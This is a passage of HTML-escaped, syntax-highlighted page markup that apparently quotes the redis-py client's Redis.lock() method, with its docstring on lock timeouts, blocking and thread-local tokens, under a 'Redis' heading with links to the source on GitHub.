&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;connect(index)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#75715e"&gt;# type:ignore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="redis"&gt;Redis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L88"&gt;https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L88&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;lock: &lt;a href="https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L439C1-L511C10"&gt;https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L439C1-L511C10&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;44
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;45
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;46
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;47
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;48
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;49
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;50
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;51
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;52
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;53
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;54
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;55
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;56
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;57
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;58
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;59
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;60
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;61
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;62
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;63
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;64
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;65
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;66
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;67
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;68
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;69
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;70
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;71
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;72
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;73
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;74
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;75
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;76
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Redis&lt;/span&gt;(RedisModuleCommands, CoreCommands, SentinelCommands):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: str,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep: float &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock_class: Union[&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, Any] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Return a new Lock object using key ``name`` that mimics
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the behavior of threading.Lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; If specified, ``timeout`` indicates a maximum life for the lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; By default, it will remain locked until release() is called.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``sleep`` indicates the amount of time to sleep per loop iteration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; when the lock is in blocking mode and another client is currently
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; holding the lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``blocking`` indicates whether calling ``acquire`` should block until
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the lock has been acquired or to fail immediately, causing ``acquire``
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; to return False and the lock not being acquired. Defaults to True.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Note this value can be overridden by passing a ``blocking``
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; argument to ``acquire``.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``blocking_timeout`` indicates the maximum amount of time in seconds to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; spend trying to acquire the lock. A value of ``None`` indicates
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; continue trying forever. ``blocking_timeout`` can be specified as a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; float or integer, both representing the number of seconds to wait.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``lock_class`` forces the specified lock implementation. Note that as
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; of redis-py 3.0, the only lock class we implement is ``Lock`` (which is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; a Lua-based lock). So, it&amp;#39;s unlikely you&amp;#39;ll need this parameter, unless
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; you have created your own custom lock class.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``thread_local`` indicates whether the lock token is placed in
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-local storage. By default, the token is placed in thread local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; storage so that a thread only sees its token, not a token set by
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; another thread. Consider the following timeline:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 0, thread-1 acquires `my-lock`, with a timeout of 5 seconds.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-1 sets the token to &amp;#34;abc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 1, thread-2 blocks trying to acquire `my-lock` using the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Lock instance.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 5, thread-1 has not yet completed. redis expires the lock
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; key.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 5, thread-2 acquired `my-lock` now that it&amp;#39;s available.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-2 sets the token to &amp;#34;xyz&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 6, thread-1 finishes its work and calls release(). if the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; token is *not* stored in thread local storage, then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-1 would see the token value as &amp;#34;xyz&amp;#34; and would be
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; able to successfully release the thread-2&amp;#39;s lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; In some use cases it&amp;#39;s necessary to disable thread local storage. For
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; example, if you have code where one thread acquires a lock and passes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; that lock instance to a worker thread to release later. If thread
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; local storage isn&amp;#39;t disabled in this case, the worker thread won&amp;#39;t see
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the token set by the thread that acquired the lock. Our assumption
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; is that these cases aren&amp;#39;t common and as such default to using
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread local storage.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; lock_class &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Lock
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; lock_class(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sleep,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking_timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local&lt;span style="color:#f92672"&gt;=&lt;/span&gt;thread_local,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
